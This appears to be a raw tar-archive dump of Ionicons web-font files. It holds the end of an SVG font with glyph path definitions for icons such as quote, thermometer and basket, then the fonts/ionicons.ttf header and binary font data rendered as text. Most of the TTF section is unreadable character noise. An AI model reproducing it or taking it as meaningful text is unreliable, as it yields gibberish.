c3 3 6 4 10 4s7 -2 10 -4v0c5 -6 5 -15 0 -20l-40 -40h78c34 0 58 -16 70 -45c9 -23 9 -50 9 -65v-136zM112 38c0 23 -19 42 -42 42s-42 -19 -42 -42s19 -42 42 -42s42 19 42 42zM70 296c23 0 42 19 42 42s-19 42 -42 42s-42 -19 -42 -42s19 -42 42 -42zM314 -4
c23 0 42 19 42 42s-19 42 -42 42s-42 -19 -42 -42s19 -42 42 -42z" />
    <glyph glyph-name="ion-md-quote" unicode="&#xf35f;" horiz-adv-x="383" 
d="M32 32l45 97h-77v223h160v-223l-51 -97h-77zM256 32l50 97h-82v223h159v-223l-50 -97h-77z" />
    <glyph glyph-name="ion-md-pricetags" unicode="&#xf35b;" horiz-adv-x="448" 
d="M410 341l38 -37v-128l-191 -180c-9 -9 -23 -12 -31 -12s-21 4 -29 12l213 204v141zM352 400l32 -32v-160l-188 -180c-9 -9 -23 -12 -31 -12s-21 4 -29 12l-124 124c-9 9 -12 21 -12 32s4 20 12 28l180 188h160zM321 297c10 3 19 12 22 22c6 22 -10 41 -31 41
c-18 0 -32 -14 -32 -32c0 -21 19 -37 41 -31z" />
    <glyph glyph-name="ion-logo-angular" unicode="&#xf227;" horiz-adv-x="448" 
d="M182 192l42 89l42 -89h-84zM224 416l224 -80l-46 -272l-178 -96l-178 96l-46 272zM312 96h40l-128 280l-128 -280h40l27 56h122z" />
    <glyph glyph-name="ion-md-thermometer" unicode="&#xf390;" horiz-adv-x="192" 
d="M143 148c29 -16 49 -48 49 -84c0 -53 -43 -96 -96 -96s-96 43 -96 96c0 36 20 68 49 84v222c0 26 21 46 47 46s47 -20 47 -46v-222zM80 370v-50h32v50c0 8 -8 14 -16 14s-16 -6 -16 -14z" />
    <glyph glyph-name="ion-ios-information" unicode="&#xf44d;" horiz-adv-x="41" 
d="M0 272c0 11 9 20 20 20s21 -9 21 -20s-10 -20 -21 -20s-20 9 -20 20zM1 236h39v-144h-39v144z" />
    <glyph glyph-name="ion-ios-basket" unicode="&#xf11f;" horiz-adv-x="448" 
d="M356 74v76h67l-18 -76h-49zM356 0v55h45l-6 -25c-5 -17 -20 -30 -39 -30v0zM233 0v56h104v-56h-104zM43 74l-17 76h66v-76h-49zM111 168v88h104v-88h-104zM233 168v88h104v-88h-104zM54 30l-7 26h45v-56v0c-19 0 -33 13 -38 30zM111 0v56h104v-56h-104zM233 74v76h104
v-76h-104zM111 74v76h104v-76h-104zM432 256c10 0 18 -10 16 -20l-20 -68h-72v174c0 8 -6 14 -14 14h-236c-8 0 -14 -6 -14 -14v-174h-72l-20 68c-2 10 6 20 16 20h48v96c0 18 14 32 32 32h256c18 0 32 -14 32 -32v-96h48z" />
    <glyph glyph-name="ion-md-hourglass" unicode="&#xf111;" horiz-adv-x="256" 
d="M0 400h256v-123v0v0l-85 -85l85 -85v0v0v-123h-256v123v0v0l85 85l-85 85v0v0v123zM213 96l-85 85l-85 -85v-71h170v71zM128 203l85 85v72h-170v-72z" />
    <glyph glyph-name="ion-ios-leaf" unicode="&#xf1aa;" 
d="M406 69c17 -3 10 -39 -5 -37c0 0 -20 1 -62 14c0 0 -15 -23 -38 -34c-25 -12 -117 -33 -195 38c-106 97 -118 354 -98 333c85 -90 194 -47 266 -106c54 -44 92 -122 76 -196c0 0 4 -4 56 -12zM314 62c5 5 10 16 10 24c-84 28 -151 72 -194 108c-4 3 -9 -2 -5 -6
c44 -45 111 -103 189 -126z" />
    <glyph glyph-name="ion-ios-folder" unicode="&#xf435;" horiz-adv-x="448" 
d="M448 329v-42c0 -2 -2 -1 -3 0s-5 1 -7 1h-428c-2 0 -6 0 -7 -1s-3 -2 -3 0v74c0 13 11 23 25 23h96c8 0 12 -2 17 -7v0l23 -23c2 -2 3 -2 6 -2h258c13 0 23 -10 23 -23zM0 32v212c0 9 7 16 16 16h416c9 0 16 -7 16 -16v-212c0 -18 -14 -32 -32 -32h-384
c-17 0 -32 14 -32 32z" />
    <glyph glyph-name="ion-md-laptop" unicode="&#xf318;" horiz-adv-x="512" 
d="M437 32h75c0 -23 -64 -32 -96 -32h-320c-32 0 -96 9 -96 32h75c-23 0 -43 20 -43 43v266c0 23 20 43 43 43h362c23 0 43 -20 43 -43v-266c0 -23 -20 -43 -43 -43zM75 341v-272h362v272h-362zM256 13c12 0 21 10 21 22s-9 21 -21 21s-21 -9 -21 -21s9 -22 21 -22z" />
    <glyph glyph-name="ion-md-notifications-outline" unicode="&#xf337;" horiz-adv-x="352" 
d="M177 328c7 0 24 -5 24 -5c46 -10 78 -53 78 -100v-114v-13l9 -10l8 -8h-240l8 8l9 10v13v114c0 47 32 90 78 100c0 0 18 5 24 5zM176 400v0c18 0 31 -13 31 -31v-15c59 -14 104 -68 104 -131v-114l41 -42v-21h-352v21l41 42v114c0 63 45 117 104 131v15c0 18 13 31 31 31
zM217 26v0c0 -23 -18 -42 -41 -42s-41 19 -41 42h82z" />
    <glyph glyph-name="ion-ios-tv" unicode="&#xf115;" horiz-adv-x="484" 
d="M438 370c26 0 46 -20 46 -46v-216c0 -26 -20 -46 -46 -46h-392c-26 0 -46 20 -46 46v216c0 26 20 46 46 46h392zM456 108v0v216c0 10 -8 18 -18 18h-392c-10 0 -18 -8 -18 -18v-216c0 -10 8 -18 18 -18h392c10 0 18 8 18 18zM422 320c7 0 12 -5 12 -12v-184
c0 -7 -5 -12 -12 -12h-360c-7 0 -12 5 -12 12v184c0 7 5 12 12 12h360zM356 42c8 0 14 -6 14 -14s-6 -14 -14 -14h-228c-8 0 -14 6 -14 14s6 14 14 14h228z" />
    <glyph glyph-name="ion-ios-phone-landscape" unicode="&#xf1e2;" horiz-adv-x="448" 
d="M0 272c0 18 15 32 33 32h381c18 0 34 -14 34 -32v-159c0 -18 -16 -33 -34 -33h-381c-18 0 -33 15 -33 33v159zM23 177c0 -2 2 -4 4 -4s4 2 4 4v30c0 2 -2 4 -4 4s-4 -2 -4 -4v-30zM437 192c0 10 -7 18 -17 18s-18 -8 -18 -18s8 -17 18 -17s17 7 17 17zM392 288h-341v-192
h341v192zM410 192c0 6 5 10 10 10c6 0 10 -4 10 -10s-4 -10 -10 -10c-5 0 -10 4 -10 10z" />
    <glyph glyph-name="ion-ios-warning" unicode="&#xf268;" 
d="M181 368c12 21 42 21 54 0l177 -323c11 -20 -4 -45 -27 -45h-354c-23 0 -38 25 -27 45zM226 234h-36l4 -122h28zM208 46c11 0 19 8 19 18s-8 18 -19 18s-19 -8 -19 -18s8 -18 19 -18z" />
    <glyph glyph-name="ion-ios-arrow-round-back" unicode="&#xf117;" horiz-adv-x="288" 
d="M104 284c5 -5 5 -13 0 -18l-60 -61h231c7 0 13 -6 13 -13s-6 -13 -13 -13h-231l60 -61c5 -5 5 -13 0 -18s-13 -5 -18 0l-82 83v0c-1 1 -2 2 -3 4s-1 3 -1 5c0 3 2 7 4 9l82 83c5 5 13 5 18 0z" />
    <glyph glyph-name="ion-ios-play-circle" unicode="&#xf113;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM292 188c3 2 3 6 0 8l-137 83c-3 2 -7 0 -7 -4v-166c0 -4 4 -6 7 -4z" />
  </font>
</defs></svg>
fonts/ionicons.ttf000064400000333530151701353760010254 0ustar00
�PFFTM��p��<OS/2@�`tX`cmap�����Jcvt D�gasp���4glyf�1��l�Thead����6hhea�z$hmtx&���
�loca�F$�xmaxpq8 name��`��postY2����Xh/]*_<��H#)�H#*������.����@@.��LfGLf��PfEd�������.�A ����\��������������������� ��� �������������������������� ���@����������(�@�����������������������`����������������@���������������h`����0@�����@��� ������������������L���������U����@�������� ����������@��������������@����������� �P���@��@������������� ����������@�����`�` �����������@�@@���@`@����`��@���@��������@�@��������������������@���� �������@������@�������@������@��VV������V`L`LV������������������� ��������� `�@������@��������������*������������������������P������@@�`����� �@���@@�������@��������������������@������0��@@�`�@��`�����������@�����@l``��������@������� ��@��@�����@�������������`�@@�����������������������������`�`�� @�@��������`�@�����@����@`�������������P�P���������(����������������@������@ ���������)��a������`�@����������������������@����������������D(FF��������������������������������������������������������	����������#�%�+�N�P�R�T�V�[�]�_�a�d�f�i�k�m�o�����4�O�T����������������������������������������	���������� �%�'�)�+�-�/�1�3�5�7�?�C�F�H�J�M�P�T�\�_�a�h�l�n�p�r�x�z�|�~���������������������������������������������������������������������������������������	����������!�%�'�-�P�R�T�V�X�]�_�a�c�f�h�k�m�o�q������6�T�V������������������������������������������������� �%�'�)�+�-�/�1�3�5�7�?�C�F�H�J�M�P�T�\�^�a�h�k�n�p�r�x�z�|�~������������������������������������������������������������������������������������������������������������|{xwvutsrnkihgfedcb_^]\XWVUTSRQPOHECBA?=:321+)('&! 
	
�
�
�
�
�
�
�
�
�
�D***^�� H���Pv�f� Dx���,v���8��	B	~	�
2
l
�
�B�4��
0
X
2P��
R���Z��J�X��*�d�P��$��n�����^�0v��&Xt>b  ~ � �!!4!d!�!�"^"�"�##<#d#�#�$$�$�$�$�%%|%�&R&�'�(:(\(�(�)*)P)�)�*|*�+N+�,,�,�-R-t-�.4.�.�//6/�/�00T0�0�1�222�2�3d3�3�3�4.55^5�5�6.6l6�6�7,7^7�88T8�8�909�9�::v:�;�;�<><f<�<�=F=�=�>>N>�>�?j?�@"@b@�@�AnA�A�B$B|B�B�CC�C�C�DD&D�D�D�E(EZE�FFTF~F�F�G8GZG|H�H�H�INI�I�JvJ�K KBKtK�LPL�M*M\M�NTN~N�OODOxO�PP�QRQ�Q�Q�RR\R�R�SS�T>T�U2U�V\V�W�X8X�Y~Y�Y�ZZBZ�[[�\\B\x\�]F]�]�^^t^�_r_�_�`D`�`�`�`�a2aPa�a�b:bpb�b�b�b�ccc6cBcZcfc~c�c�c�c�dd:dNd�ee0erfFf~f�f�g$gDg�h\h�h�i2iTi�jj.jfj�j�j�k kdk�k�l
l4l�l�l�mn�ooFo�ppBp�p�p�qq:qbq�q�q�q�r�r�r�r�ssrs�tt:tdt�t�uu,uXurvv:vdv�v�ww|w�w�x x<x�x�x�y yvy�y�y�zzzZznz�z�{{B{T{�{�||�}(}f}v}�}�~~,~|~�~�zҀ*�����r����Z�����ރ0�`�����҃��^�����Є��&���؆�.�N���ć�>�����ވ�J�z���Ȉ��6�P���Ȋ��:�Ȋ��0�B�x����
�8�d����,�����������(�J�����ԏ�L�j������������ґ��4�Z���Ғ�
�2�h�Д�"�J�b�n�����”�� �b�t����<�V��������F�d��������t�����ܙ�&�B�t������f������$�L�r���Ȝ�*�v��4�L�d������P�r���Ğ��0�H�������h���ܠ���6�T����̤J����(�l���&�x�ʧ�T�z�R���ʩ*�p�������^��P���֮�\���ί^���İ��T��(�P���ʳ"�:����B����(�V���ֵ�X���ʷN��n���ֹ�$�T���ں:�t���ܻh�����h�̽@����8���*�n�����J�x���U.�/<��2��<��2�/<��2��<��233'3#�wffU��3����#%2+"=#"4;5426"264$2"&4*J JJ :�jj�j���zz�z� JJ JJ�j�jj��z�zz�����!2"&424+54"#";32=z�zz�z*J JJ�z�zz�f JJJJ@@72+#"'&=#"&54;542�a`
` � ``
``��\�3T%2#!"54;275>4.'5&+"543!2+"3';26'.=4>76&+"N��!#""@!#""��
 	�	 )

.BB.

.BB."$

7

7
&����2"&474"25264&"z�zz�z�"�z�zz�sQ
 �`Ai!!%4'&'&"27676/3#"'&'&'&5476767632#54&#"325/3#"'&'&'&5476767632#54&#"325��@�/ � /1#�#1P.%

 ".
�.%
	
 "-
`���& 11 &,11+%

&#

%

&#

������ir{.'76'&#"'76'4"5&"'76/&"'76'4"5&"'&272?272?272?72?6/"'7#2&7436j�_j�q							F0%���0%�pj_�j_��						��GI��GI��2+"&=463264&"264&" (88(�(88(((�((�8(�(88(�(8�((((	����")AJQX73/&6'46#"'2/632&547+64?6;2+"/&5%#"&7&576&ʳ'@7R/*Y0*~�n�M�(,2G22G2%m&9M��N;M:7$�mw/�M;�22F22K/*'AM@N�(	����"3DGKt�%53!537#"'&"'&'#.54632227'27654&'&'&"'&'&#"'53'#54'&+"'&7'&'&5463"2;2#4'&+"&7>'&#5232H��R0z5?�]#!4?�]#!\7-� 1)		� 2)		6-�"B(		
 6&	�0000�i>]�	i>]��� �-70PG-61Q �""000[

%��$9"/&4?62?6"/&4?6%"/&4?6?6s

�
$
�

�=
$
d#

�
$
�

#5

�
$
�

 ll6CCD

��-CCXCC1		1����U7'7'77&'&676>'&'7>.'.'.32?32?327>/73276/�@@@�%C|||&%C|||-

	

	@	
	
	@
�>>>>W||&%C|||&%C�

>

 
	
  
	
 

>!
 ! ����3H2"&47&+"327654/&+?6'&'&#";254+'3276/z�zz�z�|
6%
	

5-!�)1	
�z�zz��
6	>

ZR%.
@�@W%+"'&'&'&'&##"&'&'.54;227676'&'&'&5676322767676;2�5			>2 	
B
	
	'	J (�1

&6B"	",(	1-	,
+5��
'!"=463!22#!"&54326'&+"3��h`���	d	H���

����	%#"5'53+75'32cgc�h�QaQ;`������h����>76/462"&"26V
QQ
^
_dz�zz�h�hh�h�
QO

^
_h�zz�zhh�hh���
!11!517'1'3'75#UU�UU�UU�UU��{UU{{UU�UUG�UHH����#"/&?&2"&464&"�
QO

^
_h�zz�zhh�hh:
QQ
^
_dz�zz���h�hh�h����2"&46/&7z�zz�z$��z�zz�ZS�����6#"'&?'&462"264&"�
_
^

PR�z�zz�Zh�hh�,_
^
QQ
��zz�z�hh�h�r+32#!"&=46354&#!"3!26'2#!"=432+"43��x�
�x

�
"��&�r�����

�

���������6&?6/"&462264&"r_
^
QQ��zz�z��hh�h�_
^

OQ�z�zz�Zh�hh�[ %32+/.54?_	<�

�<		RR%	==		SS��0�P6#"&/&765427�	SS		
==�	RR		
	=�

�<[ %6'&?#"4;'�	RR		
	=�

�<	SS		
==��0�P6/"='&?>32�	==
		SS�	<�

�=	
		RR����=2+"'&=47632#"&=43226=4'&#";26=4�		"*
, !"$$" 
",�  !-�%%�$#��
��0� d(9L#"/#"=4;76321#"'&76514'&6#"'&76514'&61#"'&76514'&6�		A55A�A		::	A?.	((3.
�
4P5p[A	8SS8	A�0	(::(	) ** 	""	 �`22+"./&4767>3'76&'&?6[()�	
H+
�44554-55`(�*L

-	�55445.44P0(#"/#"=4;76321"'&76514'&76�		A55AO
		.
�
4P4' )* 	#"		����!%)E%5353#53%'3753353'3"353753#5372#54+"#'&6;5463!2dC1-	�h��Bhh��-0hh�h�
H�H
0JLLJ788JLL^XXXX�888JLLLL�D��D``P�0%172#!"&=46354&#!"3!2672#'2#!"=437#73|��`��L0P���--0�����{!$!shht=+=P�0%2#!"&=46354&#!"3!2672#|��`��L00�����{!$!P�0%12#!"&=46354&#!"3!2672#'2#!"=43|��`��L0P��0�����{!$!shh��37'#%5'5>4&'UkkU 5@UU@/;;/p��p@0�1�l�l-RfR����%2+"&54&'4>3!!=47#!"}%�&	����
�
��'&

"$G����<62"7'&?654'&z�zz��QQ
_
^j�zz�z�OQ
_
^
����-5R\#"&546=4&=463276327632;2'&+"2#!"432++"'&76=4;254&+3260



	�
��" �
�4  `
3		��`
��`���'/R7"27654'.2"&4$"&462"2654.2"&472+".'"=4.'&54?632]&6AL88L7.#(6&&AL77L8K9	1 	H	
�6&8L77L��(4&&8L77L} 
4ZB
	E	<�����'27#"=&'&?'&65432'"?6'?6/&�tU
lm
VtX?B??s

x�J
[\I�y
L�w5�A5����2"&4'76&3276z�zz�z�OQ
_
^
�z�zz��QQ
_
^����048Z%#&'#"'"47>?27"&/+&'#'&54?624"24"7/"5'&+"#&?6;76;232($$A<$%+j�
7007
�;Xh�	"9#
���Un,,,uaVVa/����<62"732?6/&z�zz�zO

^
_
j�zz�z�Q
^
_
����!"./:G\ju7"&54657632"'&/&762'72/#&7631&54;26&76?.7>'2#"'6?6767'&7>'6�
%S-
<?
9�:<+	-"�3-
	(+G<!&
�
 #aK

O>+3
	="�1 "!/"35�<)L	( ����"&462'7654/&7&�zz�z�Q
^
_
z�zz�zO

^
_
���46;2/&5�uup��\\�����#7#"'&76'32''76#"&77&��
�5h?3*V�5h>3*V���Y
ɶHq�Y
ɶHq0�P)@%+./6764/67632#"&5463272#"&'67=4/&/7>N
M! P� BK�"3 


"PW98XAAX89W;	

 A p37'#%5UkkU p��p@0�1������.72#"'&76546%'&54&'"'&?6312?632v):	L
I .d�-3$5
��;+@
!!'8��

	4$/+�����C�:S72#"'&6323276767+"&7>54676=463122'&'&54'&'.3�&'

���
.!

!/
%
-
%%


3

/ @D

D@ / 8998 ������
By#"'&'62&'&?67&'"#'&'&6;76367&'&'&'&'&7>2'&'"&#2'&76'&'5>76?&762W%56%	/��B'8,
$	

		T

$
+9'B	
A%%?V#.�4
 +. !
	m/+ 
3�."	

! ����(2"&42674"&'&63?64/&"z�zz�z�2J>*,@@-II5KK�z�zz��D1	)9?,-A*/	5%KjK����*26#"'&#""&47676'&767323276'&�
*�$
�/"-/��		


=!�
$�
71-/�	

���x4%2+'"+"?4#'"+"?6/&;23725'&;237x (( Aa

2y&%z2

aA���.DE-����(�;CK+"=4?6&#"+"=4/&"+"5&'.'&5462"4;2#'"4;2#(

	YvY�$8L&*		^	*
3__3
*_	*&:SS��,�p!G$2"&=4#!""&=4623!254%"=463!2+"=4+"+"=4+"#�


��



d��(bb�
	�	

		

	�	

		^^



@�
-7CMYa7:3+"'466+"5:>2+"&546;676&72=4+"3676&754+";2'24+"37&7���Wb�-bb�e����O�tN_t��R�.'08AI2+"&46354+54+"#";;2=322654#"264&#"6264&#"2654"Q.AA.�.AA.9#$##p>6&.>^@@^>y##$#5&S6�p	&/%2#!"543++"&'&'&'4763!2>54'&'B��!$," <
/

&
,

0'+!.9O

�&
J����-DYg1#"'&547654'&5476321#"'&4764'&5462'#"'&5147632#"'&5147622"=&54h88//3##
�//884##
5(""�5IJ5->?,1!00!
L,~,5JI5.L
!00!
$
��
$������(%'&'9&'&76?6762u
AI42+$	
-,
*S%)41L@

(

-,������%%'&647&'&631326;1�

��

Be</r��!+=""=/A

j

h
��4HR??!44B.G(�X#+3:@% '&=4>76;2"!4&#264&"4+";264&"+"537+"p02��2*:x:�'$��ppJ�U0�`V�),L

L"\9
8�  F����#+2#43&53+"&5426=4&"462"����  t(&��
L$$7 �`	#!5463!25!#!"&7";24+";24#��@��@������@00��>����#-5=E463!2#!"&57676&7676&7676&24+"3724+"3724+"3Z��Y




�����m��1

i

i

�hh	�p'/7?GO%2#!"432#!"432#!"&=46324+"3724+"3264&"24+"3724+"3462"��\��\���/$$$�B//B/$$$�,,\0D�����/B//B;�X,,(�X5A462"27#!"&=462?632?6276/&?'"/63!@((��lK		
K!$K
		K/7Q0�	((��nP		PP		P0B"R����� H%#/&#"#"&547>32#267#"/"""'&764'&54?32769Gd`>Hfs	0H!84dG:dE9LbE/+N	8<%-A.			Ed��/2#!"&54634#!"3!2'#"/&?62762`��D��88�8,z���@��8����8-{��"2#!"&54636/&"'&"27`��z,8���@�{-8����##"/&?62762&"264$2"&4;�8,z�jj�j���zz�z��8-{cj�jj��z�zz�����2"&46/&"'&"27z�zz�z:z,8�z�zz�{-8������&.C&?"&#"/&54&5&767667>2264&"6676726�
>2
P	 Q
8$2�*�""o+�,�2$9
Q
P
2>
�#�
C
��`�$.f4;2+"52+"=4;4767632676&72#!"546;2+"+";254+"=&+"5&'&63<����-�
�� L� �?	

1��
8X	%	��)"����$%/&?&'&6766"264$2"&4554.5543�jj�j���zz�z�445/445�j�jj��z�zz�����2"&46/76&'&?z�zz�z4455445�z�zz��5544554����/72#!"&54634&#!"3!262+"&=463'"4;2#D##��##(��<

�


d�#��##H#�|H��
�

�
4����12"&46462"3"&4632'&#"2654/76?�N88N8�$$Gz�zzV1.!(Fdd�d

8N88NI$$++Vzz�z
d�ddF#������#,5�%#&'.6?>766'66'&264&#"264&#"#5476724363676;272##"#?>37437&547&+##6'"'&7##3;#"&#"'"'&=�_?4Z



_@9`��	�	[	�
	

		�><R1+&8+=R91)%#7"%+&c
)����2"&42654&'.#"&#"3z�zz�z#)(!�z�zz��&"
$ �`ez���%"#+"5'#"&#""&#"++"5&5"&#&576764/"'&547676276767676327325476#%76276'.'&"2764'&'&#"32632>'&'&#"2754#"32632326�
@	F0F	A
$"/."(
��
'�'
(|(
�	($

�}�"]-0>	
)
0
4yI

	W
 `)%#!"&5467>326326/&"'&"27� +6%��%6$*-N9VEz,8�4"&88&4
,AM'{-8M�3)C"/&4?'&4?62"/&4?62"/&463254276323rr``�`rr�>>''1mm
\\
s\
mm
a99#jj#M�3)19A%"/&4?'&4?62"/&4?62462"&462"6462"~r``�`rr 


M


s


�m
\\
q\
mm
e










M�3)"/&4?'&4?62"/&4?62rr``~``rr1mm
\\
\\
mm
����%##5#53533&"264&2"&4;V*VV*V'�bb�b��zz�z�VV*VV�b�bb��z�zz�����*#""/.?'&4627'&#""&5476��r�U2(/02	
-(-J�o~T1(011�16����%''575575462��0PP0���p0rr0(hq

qh��!)19A%+"'&47632$264&"264&"6264&"264&"6264&"n	
<Y[>??C[M3##	��RT((:d	
477�8<-W

����((� @`2#!"&546354+";2$����`���������	7&?6&2"&476&#7�b1>�zz�z�Q�Q�1b�z�zz��Q� �`
#7'#'737hXXNX3�NXXNX3�`���]����]�������6C{�'#&7632'&?&'&#""/&?6376&76767632"'&'7#"'&#"#"&4767>767>7636'&767326'&li#2
$	!?"!0�78:/A$*
	w
F9
."5
3��			
			�/
$	#@"	!	��6B=3:!


$A6		8053	�					@�@6"&46272#5!#335,,�)#��##��**H(�33�x����2"&4654&#"6767654'&'&'.5&7&'&7>'726765&'./".#&47>3675'&7>7632z�zz�z_	lJG65"#0
-		

�z�zz��
(Lh45K0,



'	

1
	X
 
����%8K7'&762542+"43"=4276232#"'&?#"4;2"=6"=4;2+"/xt

up�u

tM��

tMpu�pMt

u�u

tMppMt

u�

upMtpu

tM����
2"&464&#z�zz�zjjJ�z�zz���j�j����1�������� A6+"=47%/&?632?6#!"&=46;;2t�
��"�##��&j��
����##�"�&����"264&2"&4''7'77�bb�b��zz�z8KKKKKKKfb�bb��z�zz��KKKKKKK����7''.547'632632�\
-4.;�H�9%%90Bs��\)0,D5- M@M�,,B����
)/&4?6&=4?6%46/&5������d��>
^^
Q�b�]��]�_����%'5#5'7'53��H@l��@���Xk�0�(���h�+48H^g7#"'&4763276767>765?22654&"624"&'&547634#2#"'&'&'&'?62654&"� 

r
=�|  0Ci/�&&
$�	
":	

�Z�t [�A<*:*"
!
c��`�?!#53#7?0�@�+**�-�--�zz@vvJ@...��!%1%+"54376?32#!"&5463!24"72=4#!"3@�\r
�p

����xv
��


��������'"264&2"&4535#4>54&"#462�bb�b��zz�z�**")1D1>fb�bb��z�zz��**?"11"7����2"&4264&"&2"&4264&"�L44L4J  .�zz�z�^CC^C4L44LN  �z�zz��C^CC^����"264&2"&4#535#53�bb�b��zz�z�****fb�bb��z�zz��})*��0�
"&=432#';+"&546;�
L�`��%H?	�P��`B 	,7'7632#"/&?632%#"/&?632762�CB�L
@$�?2��EE.OAF�A4��� 462"27#!"&5463!'P&4&&44��e��&4&&4&�
Cu+u����,8HU[+"/&7632%2+"'&?632+"&=4632#!"=43%2#!"&=46354&#!"3!22#4�
	��	�
		���h�����h�0FFF
%		%��0�����4

����
2"&47'z�zz�z�}}�z�zz��^^��@�	2"&54ndnW�W��Z[dd[Z����"264&2"&4#53�bb�b��zz�z;��fb�bb��z�zz�k* �`!'46;2+"&=3?>54/&+3#"4`���/		EE		/�SSS
8�k0		FF		0��%8K"/"=4;2#72"="'&?#"43232+"=4272+"4;'&76250u

up�u

uNm

uNpu�pNu

udu

uNppNu

u�

upNupu

uN�� �9A7276/&/&&5'47/#"&//4?4>?&264&"��
CC	0	
!k3  3�p-
-p1,P2&)1P,4������
.6=D'&667#".'&767%'676&"'632&7'.7'327''6;8d

��
�+(*.T1)668668(+))pl	��O	"~@	
|��

d
��,)..:6(8R;6(8	,�
	P"
	+������/:"'&?'&7627&547676762#"'"/264&#"

-%

%2(
H4

$>02%

%-{)TtTT:;
	-%	
%20>$

4H
(2%	
%-W);:TTtT	����-Dj�����#"'&54654'&'&762%"'&767632#"'&#"#"'&547632%+&76'.#"#'#&56'&'&7632+&'&7654'&'&#"#"&767632'+"&56'&76322+&?43'#"&5.#"+&76'&7632+"'&56'&'&7632�
	

��5DG<	4>:/I
3-)	D-?L		
-/J9:"
-  �			~


	


	
'"$ 

&1	
+!�"0
/+N;39$:DW
V;4:R6$*2,)'C02�+"!(*0	
"!$p>
;j/!	�
#�$N	ENbV
Q_&8;::-A:
����'32#!"&5463254#!"374;2+"54;2+"5U��&��"�������j�kb����"�����72&?#"&?6��4l�4�
�����t2+#5#"&=4635!�f�en��t�((���������!546;2;2!32#!"'&'&3���`
�

�����I)I


O���� �`'/7?GO62"#"'.+"#"'.7>76322632264&"264&"264&"6264&"264&"T&&^)!;; +' 

:6:

 '��  �88�&BY	4		4	YBFF		FU""8L8����463!2/&=4/	v	�
7�_

�
�
k
���L�08@H2"&547675&'&5462676767.54&264&"4&"26264&"�:) %4#):)):)1- �"";""�""`)'$
%))�))� &4""��""�"":�F%2+"'&'#"4;676264&"�M$&l&$MM$&l&$Y>>X>>�3!$$!33!$$!3x>X>>X>����+3_g7#"'&?#"'&=&'&5462;'&462&264&""&5476754'&+"/&54?63232264&"�;9		(Z3	):)	Y)�""m):)	Y);9		(Z3	 ""x;	:	(-*�))�((�""�))�'(;	:	(-*�""����,4<D%2#"&'"'&'"&547675&'&54623>4&"2264&"264&":))& D-):)):)-+D
'�"""""
""�):) 
?�))�))1D �""4""�""����1;CM2"&54675'&=&'&546275&'&543264&#"4&"2264&#":* u*:* u*:)jj��  i�*'9<,**',<9**'+77+""��""2""����DLT\%"&5476754'&+"/"&547675&'&546327632324&"2264&"264&"I):)	M)8):))%7		(N3	�"""""
""j))�'(8�))�)7	(-*�"",""��""����3#"3!2#!"&546#32��
@��`@4��� ����������$*05:@GNTY^dk2+"&463&'#5&'#6?67'3&'7&'6&'6''6367&67&'&'7567&'67&'767#�VzzVUzzU�!u>>==m!*2."
D!MF #*4-"
B!M�z�zz�z�6+
"*>&&>>&&8 5JI6D#(*7*"m8)
"*v 6JH5D"+6*"��2#!"&=46376!"467d##��##��� #�##�#_
��_7"=4;2#'463!2#!"&5%24+"=4"+"=4"+";2+";22=4;22=4;24+"=43�d�@��J8d8888d88�dd����8888d8888d��U�	3#"&546!2+ ����V
j
���������N7/&76?67"/&?6'4"'&#"/&76'&'&#"#"7676322762�	8?'
_%'

�8"



 
(1!�8L
'Q%'
7"

	!	��%17;#!"&5463!2#"4;2+"57>76&����4�*��Mk,�&����@�82+"&/.'&547654622=4622=4622=4"+#:% +K
�)4	#'"&�		�

�

�		m����$,5>2#!"=46;&54632632'"3264&#";44;#"&5%2+��hT%!!%+""p"���x�8##L@@���������#2"&4"264&"2642676&+"z�zz�z"�B4	�	�z�zz��(��!373#!"&'5463!�
�X}"��9	��q`�`�pA2"54'&""54+"#"=4&"#"&+"&=46;2=4632;�L48.. >X> .. N89&'D8  L.  .�,>>,�.  .&8N('7&\$%753%!!#5#75#35335#35!5#353353���r��r9�q9�9�99r�rrVVr�rrVVVV����$,2"&4%7."67'7&'6264&"67'6z�zz�zY>�>YY>D8((8(�Y
)�z�zz�VY)>>)Y��Y)>Z(8((8c*Y����&/"264$2"&472#5&7654&#"#>4632"�jj�j���zz�z�##$#
	tj�jj��z�zz�
	
�	����'2"&42654#"7654&#"3632354z�zz�z�	
>##$#�z�zz��	U
	���� (07>2#!"&=46;&546327632&"264&"26435'75#'z��.%"

#%1�}�2",�k,"2:��'%+J��E=��=E�
�� �	&1?K[kx�74&53/&?6'6&5/4366&5'/#&75767/&?676/&476&?6#"&/7&?632'76#"'&"'&#"&54766/&7>276m=g%	

'C**)*)'&&<
%E+'HN
	=T>
	*�?-%2�

	i,�)66(����4&'&54671326;654'&+"#"'&'&+"60/A0Pd<0A/=""=**#"2*/[[�B.E@$MHR@E.B44�::$

2#::?II����%5A7"&?62#7&?62+"'7&7>7672#!"&546354#!"3!2A_`>5	

G��]��J���: X�

w��`��������+&'&54671326;654'&+"760/A0Pd<0A/=""=**#	T�B.E@$MHR@E.B44�::$")�E������	9HX7#'"?6#/&?67"&76327'%.?&'&67%6?>'4#"%4#/"325�F�\l.-9��)�����r4���{FN1#_��)C��5���,����462"3#"264$2"&4�


&&]�jj�j���zz�z�j�jj��z�zz�����2"&45#6264&"z�zz�z�&


�z�zz�������-2'.54632667654&#"'&#"7.0B;.44.;B09%%_(0"++"0(_		�B15D,00,D51B,,��X"2*#0  0#*2"X�� 2'.54632667654&#".0B;.44.;B09%%%i(0"*�B15D,00,D51B,,��a&2*#0!��@�+7CO[gs�����"&46;2#2+"=4+"+"&5&546354+";2=4+";2=4+";2=4+";254+";2=4+";2=4+";2=4+";254+";2=4+";2=4+";2=4+";22

�

 

X X

NPPp




��
((
,
��HHH�HHH�HHH��	
!%1593!35#75#75#75#5#75#75#75#5#3#3#7#5#5��`Հ**************��++++{++++�����**U++U++V**�**U++U++V**��+*++*�**U++����''7'?'767>7�y$4
!05<Rf)���"��)fR<50!
4$m
��*62+"&=43#!"&546;2;2=4;254+";2�	��� �<���HHB�@PP��``������3;%2"&547'&6'&'&#.'46'&#"&546'&'&'.'&76326264&")2EFbF	
	
		"	
�#�GfII3
	
	"
��0�P#*%3#!"'&535463!2&"2"3!2=4#25#3�0��0
^
��\�
hP	
�

	�����
#!"&5463264&"75#+U��{4&&4&���U�*��&4&&4�UU������#%'&'&'&'&7665&'&�	*6Y#I
$fc+-(
lVaE
 C�V'#l5
$Hc@�@%1?%#"=4;25462"&72+"=43"&=4622+"&=463@��



R��



F�  R�	

	�	

